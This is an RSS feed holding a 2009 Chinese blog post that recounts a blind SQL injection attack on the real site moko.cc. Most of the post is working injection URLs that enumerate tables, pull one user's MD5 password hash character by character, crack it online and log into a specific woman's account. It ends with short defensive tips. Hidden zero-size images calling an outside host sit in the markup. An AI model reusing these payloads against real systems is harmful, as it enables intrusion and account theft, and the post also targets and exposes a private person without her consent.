<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>张磊的blog &#187; 利用</title>
	<atom:link href="http://www.blogkid.net/archives/tag/%e5%88%a9%e7%94%a8/feed" rel="self" type="application/rss+xml" />
	<link>http://www.blogkid.net</link>
	<description>从头再来</description>
	<lastBuildDate>Sun, 15 Jan 2012 14:55:22 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>moko.cc的SQL注入漏洞攻击实录</title>
		<link>http://www.blogkid.net/archives/2138.html</link>
		<comments>http://www.blogkid.net/archives/2138.html#comments</comments>
		<pubDate>Fri, 16 Jan 2009 10:07:29 +0000</pubDate>
		<dc:creator>张磊</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[利用]]></category>
		<category><![CDATA[moko]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.blogkid.net/?p=2138</guid>
		<description><![CDATA[声明：此漏洞已经我提交到 moko.cc 官方，而且提交了两次。因此漏洞造成的任何后果，本人不承担任何责任。文中关键数据我已隐去。 最近moko.cc红得很快，上面美女帅哥如云。娱乐圈很乱很热闹，我这个it圈的人还没混到一个moko的邀请码。某日在moko闲逛，看到有一个美女bbs，帖子的地址是这样的结构： http://www.moko.cc/bbs/bbslist&#124;bbsShow.action?topicId=27 一看就手痒了，鉴于这是moko自己开发的系统，很有可能存在注入漏洞。于是测试了一下： http://www.moko.cc/bbs/bbslist&#124;bbsShow.action?topicId=27-1 页面正常返回，而且看到的是id为26的帖子。这说明服务器端存在数字型的注入漏洞，这是最初级的sql注入漏洞了。 下一步就是猜解表名，用类似下面的方式： http://www.moko.cc/bbs/bbslist&#124;bbsShow.action?topicId=27 and 0&#60;(select count(*) from table_name) 如果页面返回正常，就说明猜到了对的表名。猜测的结果，有topic、user、friend这些表。user表里面存放了用户信息，就从user表入手。通过探测，发现user表包含这些字段：username, password, userid。其中，userid是数字id，username就是用户用于登录的邮箱，password不用说了，就是密码。尝试下面的地址，页面正常显示，说明密码长度是32。 http://www.moko.cc/bbs/bbslist&#124;bbsShow.action?topicId=27 and 32=(select length(password) from user where userid=xx) 很少有人会设置长度为32的密码，可以断定，这里的密码是经过了md5加密的。所以，即使拿到了密码，能不能破解也得看运气。正巧webleon在twitter推荐了一个moko的美女，我就找到了她在moko的数字id。 先搜了一下这mm的邮箱，搜到是xxx@yahoo.cn。拿来测试了一下，果然也是moko的注册邮箱，这样就省得一位一位破解： http://www.moko.cc/bbs/bbslist&#124;bbsShow.action?topicId=27 and &#8216;xxx@yahoo.cn&#8217;=(select username from user where userid=xx) 下面破解密码，这可偷懒不得，需要一位一位破。由于是md5加密，最后每一位只可能是0到e这16个字符，所以很好猜。猜的过程需要一些技巧，我只写一个大概的格式： http://www.moko.cc/bbs/bbslist&#124;bbsShow.action?topicId=27 and (102=(select ASCII(SUBSTRING(password,9,1)) from user where userid=754)) SUBSTRING是mysql的函数，用于从字符串中截取子串。在这里，使用SUBSTRING(password,9,1)，就表示将password字段的字符串，从第9位开始，截取一个长度为1的子串，其实就是取得第9个字符。 ASCII是另一个函数，用来计算传入字符串的ASCII码。如果传入的字符串长度大于1，就返回第一个字符的ASCII码。所以整个ASCII(SUBSTRING(password,9,1))就是取得password字段第9位的ASCII码值，然后与外面的数字相比较。这里用折半查找的话，一般三四次就能猜出一位，如果可以，写个小脚本跑一下更快。当然，我手动猜出全部32位，也只花了不到10分钟。 得到该MMmd5加密之后的密码是&#8221;96e79218965eb72c92a549dd5axxxxxx&#8221;，验证一下： http://www.moko.cc/bbs/bbslist&#124;bbsShow.action?topicId=27 and (&#8217;96e79218965eb72c92a549dd5axxxxxxx&#8217;=(select password from user where [...]]]></description>
			<content:encoded><![CDATA[<p><strong>声明：此漏洞已经我提交到 moko.cc 官方，而且提交了两次。因此漏洞造成的任何后果，本人不承担任何责任。文中关键数据我已隐去。</strong></p>
<p>最近moko.cc红得很快，上面美女帅哥如云。娱乐圈很乱很热闹，我这个it圈的人还没混到一个moko的邀请码。某日在moko闲逛，看到有一个美女bbs，帖子的地址是这样的结构：</p>
<blockquote><p>http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27</p></blockquote>
<p>一看就手痒了，鉴于这是moko自己开发的系统，很有可能存在注入漏洞。于是测试了一下：</p>
<blockquote><p>http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27-1</p></blockquote>
<p>页面正常返回，而且看到的是id为26的帖子。这说明服务器端存在数字型的注入漏洞，这是最初级的sql注入漏洞了。</p>
<p>下一步就是猜解表名，用类似下面的方式：</p>
<blockquote><p>http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27 and 0&lt;(select count(*) from table_name)</p></blockquote>
<p>如果页面返回正常，就说明猜到了对的表名。猜测的结果，有topic、user、friend这些表。user表里面存放了用户信息，就从user表入手。通过探测，发现user表包含这些字段：username, password, userid。其中，userid是数字id，username就是用户用于登录的邮箱，password不用说了，就是密码。尝试下面的地址，页面正常显示，说明密码长度是32。</p>
<blockquote><p>http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27 and 32=(select length(password) from user where userid=xx)</p></blockquote>
<p>很少有人会设置长度为32的密码，可以断定，这里的密码是经过了md5加密的。所以，即使拿到了密码，能不能破解也得看运气。正巧<a title="webleon" href="http://webleon.org/" target="_blank">webleon</a>在twitter推荐了一个moko的美女，我就找到了她在moko的数字id。</p>
<p>先搜了一下这mm的邮箱，搜到是xxx@yahoo.cn。拿来测试了一下，果然也是moko的注册邮箱，这样就省得一位一位破解：</p>
<blockquote><p>http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27 and &#8216;xxx@yahoo.cn&#8217;=(select username from user where userid=xx)</p></blockquote>
<p>下面破解密码，这可偷懒不得，需要一位一位破。由于是md5加密，最后每一位只可能是0到e这16个字符，所以很好猜。猜的过程需要一些技巧，我只写一个大概的格式：</p>
<blockquote><p>http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27 and (102=(select <strong>ASCII(SUBSTRING(password,9,1)) </strong>from user where userid=754))</p></blockquote>
<p><strong>SUBSTRING</strong>是mysql的函数，用于从字符串中截取子串。在这里，使用<strong>SUBSTRING(password,9,1)</strong>，就表示将password字段的字符串，从第9位开始，截取一个长度为1的子串，其实就是取得第9个字符。</p>
<p><strong>ASCII</strong>是另一个函数，用来计算传入字符串的ASCII码。如果传入的字符串长度大于1，就返回第一个字符的ASCII码。所以整个<strong>ASCII(SUBSTRING(password,9,1))</strong>就是取得password字段第9位的ASCII码值，然后与外面的数字相比较。这里用折半查找的话，一般三四次就能猜出一位，如果可以，写个小脚本跑一下更快。当然，我手动猜出全部32位，也只花了不到10分钟。</p>
<p>得到该MMmd5加密之后的密码是&#8221;96e79218965eb72c92a549dd5axxxxxx&#8221;，验证一下：</p>
<blockquote><p>http://www.moko.cc/bbs/bbslist|bbsShow.action?topicId=27 and (&#8217;96e79218965eb72c92a549dd5axxxxxxx&#8217;=(select password from user where userid=xx))</p></blockquote>
<p>可以正常访问，说明拿到的32位密文是对的。下一步，找一个md5转换的网站看看能不能把这密码的明文查出来。真的查到了：</p>
<blockquote><p><img class="alignnone size-medium wp-image-2140" title="密码转换" src="http://www.blogkid.net/wp-content/uploads/2009/01/2009-01-16_145001-300x95.png" alt="密码转换" width="300" height="95" /></p></blockquote>
<p>然后到moko登录，用刚才的邮箱&#8217;xxx@yahoo.cn&#8221;和查询得到的明文密码登录，成功进入了该mm的账户。贴张图展示下：</p>
<blockquote><p><a href="http://www.blogkid.net/wp-content/uploads/2009/01/2009-01-16_144754.png" target="_blank"><img class="alignnone size-large wp-image-2139" title="入侵之后" src="http://www.blogkid.net/wp-content/uploads/2009/01/2009-01-16_144754-205x1024.png" alt="入侵之后" width="205" height="1024" /></a></p></blockquote>
<p>一些总结：</p>
<ol>
<li>对输入参数缺少足够的过滤，是最根本的问题。本来是输入数字id的地方，我输入了sql语句，然后被程序正常地执行了。</li>
<li>数据库表名最好不要直接用user/friend/topic之类的，应该考虑加一个前缀。</li>
<li>对密码进行加密是很好的。对用户来说，最好把您的密码弄得复杂点，不要被<a title="md5" href="http://www.cmd5.com/" target="_blank">md5反查工具</a>轻易查到。</li>
<li>为了避免被社会工程学欺负，最好不要在多个地方用同一个密码。否则我拿到了moko的密码，就可以进入你的twitter或是gmail。</li>
</ol>
<p>
<div style="display:none"><img src="http://mltime.com/ne.jpg" width="0" height="0" /><img src="http://mltime.com/jj.jpg" width="0" height="0" /></div></p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogkid.net/archives/2138.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

